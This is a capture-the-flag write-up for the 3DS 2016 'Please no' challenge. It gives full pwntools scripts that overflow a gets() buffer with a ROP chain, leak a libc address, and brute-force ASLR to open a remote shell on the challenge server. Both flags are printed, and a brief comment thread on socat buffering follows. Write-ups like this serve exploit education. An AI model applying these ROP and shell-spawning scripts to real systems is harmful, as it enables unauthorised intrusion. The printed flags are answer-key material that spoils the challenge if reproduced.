Description
[EN]
This time the programmer did a better job to hid his flag. But the problem still: It’s vulnerable. Can you obtain the flag?
Send to 209.190.1.131 9003
NOW WITH SECRET BONUS![PT-BR]
Dessa vez o programador caprichou um pouco mais na hora de esconder sua flag. O problema que continua vulneravel. Consegue extrair a flag?
Envie para 209.190.1.131 9003
AGORA COM BONUS SECRETO!Solved by 32 teams
Bonus solved by 5 teams
Resolution
This is a pretty simple challenge, we wanted to write about the bonus part but we might as well give a write-up for the first part.
We have a standard binary:
1 2 3 4 5 6 | [*] '/home/laxa/Documents/Repos/Challenges/CTF/3DS2k16/Please_no/please-no' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE |
The main is just a simple gets(bufonStack), so we can ROP.
A given set of function is given for us to grab the flag, so we end up with the following script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | #!/usr/bin/env python2 from pwn import * ### b = ELF( 'please-no' ) pr = 0x080483c9 #: pop ebx ; ret pppr = 0x08048601 #: add esp, 8 ; pop esi ; ret ### r = remote( "209.190.1.131" , 9003 ) ROP = "A" * 20 ROP + = p32( 0x8048690 ) ROP + = p32(pppr) ROP + = p32( 0x1B0B0C41 ) ROP + = p32( 0xAE13374E ) ROP + = p32( 0xdeadbeef ) ROP + = p32( 0x8048650 ) ROP + = p32(pr) ROP + = p32( 0xB0B01337 ) ROP + = p32( 0x8048590 ) # open file and output to stdout ROP + = p32(b.symbols[ 'exit' ]) r.sendline(ROP) print r.recvall() |
Now for the bonus part!
We can’t really tell why, but even with a newline terminated string, the output wasn’t correctly flushed. The only way to flush was to call exit(). Given the fact was the binary is a 32 bits one, the entropy for the libc randomization by ASLR is only a few bits (16 bits according to wikipedia), given a fixed system address, we have 1 chance on 65536 to get it right, that’s not much!
So we did the exploit in 2 parts, first one we leaked an address with the following ROP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | ROP + = p32(b.symbols[ 'printf' ]) ROP + = p32(pppr) ROP + = p32(bss) ROP + = p32(bss) ROP + = p32(bss) ROP + = p32(b.symbols[ 'exit' ]) ROP + = p32(b.symbols[ 'strcat' ]) ROP + = p32(pppr) ROP + = p32(bss) ROP + = p32( 0x80487d3 ) ROP + = p32( 0xdeadbeef ) ROP + = p32(b.symbols[ 'strcat' ]) ROP + = p32(pppr) ROP + = p32(bss) ROP + = p32( 0x8048f64 ) ROP + = p32( 0xdeadbeef ) ROP + = p32(b.symbols[ 'printf' ]) ROP + = p32(pppr) ROP + = p32(bss) ROP + = p32(b.symbols[ 'got.printf' ]) ROP + = p32( 0xdeadbeef ) ROP + = p32(b.symbols[ 'exit' ]) |
With that, we have a randomized libc address: 0xf75bdf30
We now identify the libc using libc database => archive-glibc (id libc6_2.24-3ubuntu1_i386)
And we calculate system address => 0xf75af020
And then we bruteforce with this script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | #!/usr/bin/env python2 from pwn import * ### b = ELF( 'please-no' ) pr = 0x080483c9 #: pop ebx ; ret pppr = 0x08048601 #: add esp, 8 ; pop esi ; ret bss = 0x0804a555 ### while True : r = remote( "209.190.1.131" , 9003 ) ROP = "A" * 20 ROP + = p32(b.symbols[ 'gets' ]) ROP + = p32(pr) ROP + = p32(bss) ROP + = p32( 0xf75af020 ) # system ROP + = p32(pr) ROP + = p32(bss) # /bin/sh r.sendline(ROP) r.sendline( "/bin/sh\x00" ) try : print r.recvline(timeout = 5 ) except EOFError: print "Except" r.close() continue r.interactive() |
It takes a short amount of time to get a shell (few minutes).
Flag is: 3DS{n0_symb0l5_w1th_R0P_15_p41nful_r1ght}
Bonus flag is: 3DS{fb1d92953253c7d79b50fbe1c0ca8abd}
As an admin pointed out afterwards, the exit is needed because of socat’s behaviour handling SIGSEGV:
https://gist.github.com/Macmod/130e780a69ec6d41d7bd57612314a541
Thanks for pointing that out, your gist has 404 :(.
But the real problem is, why printf does’nt flush when appending a newline ? That’s also bothering me in that case.
My bad, I erased it by mistake
Perhaps printf is flushing the buffer, but socat holds it? I really have no idea who’s to blame, exactly.
https://gist.github.com/anonymous/6d70a68a8bd4efc4c86c98b28c21f0c3
This might be a good explanation:
http://stackoverflow.com/a/5229135